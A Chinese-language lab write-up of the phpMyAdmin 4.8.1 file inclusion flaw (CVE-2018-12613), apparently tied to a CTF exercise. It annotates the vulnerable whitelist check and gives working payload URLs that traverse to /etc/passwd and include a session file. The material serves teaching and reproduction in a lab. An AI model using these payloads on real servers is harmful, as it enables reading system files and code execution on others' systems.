phpmyadmin 4.8.1任意文件包含(CVE-2018-12613)

简介

环境复现:https://gitee.com/xiaohua1998/hctf_2018_warmup

考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

线上平台:榆林学院内可使用协会内部的网络安全实验平台

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,

通过二次编码即可绕过检查,造成远程文件包含漏洞。

受影响版本

phpMyAdmin 4.8.0和4.8.1受到影响。

代码审计

通过审计index.php发现了文件包含 只要达到if里面的条件即可执行文件包含。

! empty($_REQUEST['target'])  //request接受的target不能为空
&& is_string($_REQUEST['target']) //target里面的值必须是字符串
&& ! preg_match('/^index/', $_REQUEST['target']) //target里面的值不能以index为头
&& ! in_array($_REQUEST['target'], $target_blacklist)  //target传进来的值不能是$target_backlist里面的值 如"import.php" 和"export.php"
&& Core::checkPageValidity($_REQUEST['target'])  //将值给checkPageValidity()函数 要返回true 才能全整体为真

接下来继续追溯checkPageValidity 函数 

public static function checkPageValidity(&$page, array $whitelist = []) {
    //首先判断$whitelist不为空 则将$goto_whitelist值赋值给$whitelist
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;  //这里得追溯下 看看$got_whitelist
        }
    //判断传进来的值 要存在而且
        if (! isset($page) || !is_string($page)) {
            return false;
        }
     //判断传进来的值是否在白名单内
        if (in_array($page, $whitelist)) {
            return true;
        }

    //截取传进来的?号
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
      //判断$_page是否输入$page
        if (in_array($_page, $whitelist)) {
            return true;
        }
      
      //给page解码
        $_page = urldecode($page);
    //截取?号部分
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

 得到上面的情况我们可以构造payload:

http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../etc/passwd

漏洞利用方法

包含session文件payload

http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_1d4171b498cba40de617fbea8902d5f0

猜你喜欢

转载自www.cnblogs.com/xhds/p/12579041.html